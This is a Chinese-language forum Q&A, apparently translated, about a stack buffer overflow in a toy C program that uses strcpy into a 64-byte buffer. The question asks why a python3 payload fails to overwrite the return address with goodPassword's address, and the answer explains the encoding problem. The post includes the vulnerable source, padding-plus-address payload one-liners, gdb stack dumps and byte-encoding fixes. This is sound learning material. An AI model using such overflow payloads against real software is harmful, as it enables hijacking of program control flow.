python3的缓冲区溢出利用:写入错误的返回地址

信息安全 开发 Python C
2021-08-18 05:33:58

我正在尝试使用 gdb 和 peda 来利用简单的缓冲区溢出,我只想用程序函数的地址重写返回地址。我可以用 python2 轻松地做到这一点,但用 python3 似乎是不可能的,返回地址没有用正确的地址重写。

根据我已经做过的研究,编码是造成这个问题的原因,因为python2使用ascii而python3使用utf-8。我在这个网站上发现了一些对我没有帮助的东西:/

这是易受攻击的应用程序的代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>

void checkPassword();
void goodPassword();

int main(int argc, char **argv)
{
    printf("Debut du programme...\n");

    if (argc < 2)
    {
        printf("Necessite un argument\n");
        return 0;
    }

    printf("Appel de la fonction checkPassword\n");
    checkPassword(argv[1]);

    printf("Fin du programme\n");

}

void checkPassword(const char *arg)
{
    char password[64];

    strcpy(password, arg);

    if (strcmp(password, "fromage") == 0)
    {
        goodPassword();
    }
    else
    {
        printf("Mauvais mot de passe\n");
    }
}

void goodPassword() // This is the function I want to run, address : 0x565562b2
{
    printf("Mot de passe correcte!\n");

}

这是我在python2中使用的exploit

starti $(python2 -c 'print "A"*76 + "\xb2\x62\x55\x56".strip() ')

这是我在 python3 中使用的漏洞利用和堆栈 atfer strcpy:

starti $(python3 -c 'print(b"A"*76 + b"\xb2\x62\x55\x56".strip() ')

gdb-peda$ x/24xw $esp
0xffffcc40:     0xffffcc50      0xffffcfa6      0xf7e2bca9      0x56556261
0xffffcc50:     0x41412762      0x41414141      0x41414141      0x41414141
0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc90:     0x41414141      0x41414141      0x41414141      0x785c4141

我期望这个输出:

gdb-peda$ x/24xw $esp
0xffffcc50:     0xffffcc60      0xffffcfac      0xf7e2bca9      0x56556261
0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcc90:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcca0:     0x41414141      0x41414141      0x41414141      0x565562b2

它工作正常并运行 goodPassword 函数。感谢帮助

2个回答

什么是开始?这是围绕 gdb/peda 的包装脚本吗?python3生成的字符串是通过什么方式传递给易受攻击的应用程序的?中间有壳吗?

我们期待:

python -c 'print("\x48\x49\x90\x84\xe3\xe9")' |xxd  
0000000: 4849 9084 e3e9 0a                        HI.....

但相反,python3 给了我们:

python3 -c 'print(str(b"\x48\x49\x90\x84\xe3\xe9","latin-1"))' |xxd 
0000000: 4849 c290 c284 c3a3 c3a9 0a              HI.........

...在功能上等同于:

python3 -c 'import codecs; print(codecs.decode(b"\x48\x49\x90\x84\xe3\xe9","latin-1"))' |xxd
0000000: 4849 c290 c284 c3a3 c3a9 0a              HI.........

...此外

python3 -c 'import codecs; print("".join(chr(x) for x in bytearray("\x48\x49\x90\x84\xe3\xe9".encode("latin-1"))))' |xxd
0000000: 4849 c290 c284 c3a3 c3a9 0a              HI.........

...根据在此链接的讨论中提供的一组答案

虽然 python3 需要传递字符编码才能知道如何处理非 ascii 字符范围,但 print() 函数将输出传递给 shell,shell 仍然需要使用 UTF- 8. 此答案中提供了有关此行为的信息性解释总之,这种看似行为回归的大部分可以追溯到从 print "something" 移动到 print("something") (内置 print 函数)的单一决定,从这里讨论的编译器中删除 print 。尽管这是 python3 将字符串的默认行为更改为字节的结果,更多信息在这里

但是,我想指出的是,如果您能够以某种方式将您的漏洞利用缓冲区传递给您的易受攻击的应用程序,而不必在 python 和您的受害者应用程序之间涉及 shell,您将从以上三个 python3 示例中获得您想要的字节.

对此的一个很好的验证是写入一个输出文件,并在输出文件上执行一个 hexdump。理论上,通过套接字连接传递漏洞利用缓冲区也是如此(?)

#!/usr/bin/env python3
import os, sys

sploit = "\x48\x49\x90\x84\xe3\xe9"

with open("evil.txt","wb") as F:
    F.write(sploit.encode('latin-1'))
    F.close()

...和证明:

hexdump -C evil.txt
00000000  48 49 90 84 e3 e9                                 |HI....|
00000006

由于所有这些原因,Python2 当然比 python3 更容易编写漏洞利用程序。当然,如果将来运行(甚至安装/提供)python2 出现问题,我们仍然有许多其他主流语言,例如 perl:

perl -e 'print "A"x4 . "\x48\x49\x90\x84\xe3\xe9";' |xxd
0000000: 4141 4141 4849 9084 e3e9                 AAAAHI....

这里似乎可以绕过 python3 print() 使用的一些问题

import sys
sys.stdout.buffer.write(b"some binary data")

通过直接写入在 linux 中工作但在 windows 中可能有问题的 stdout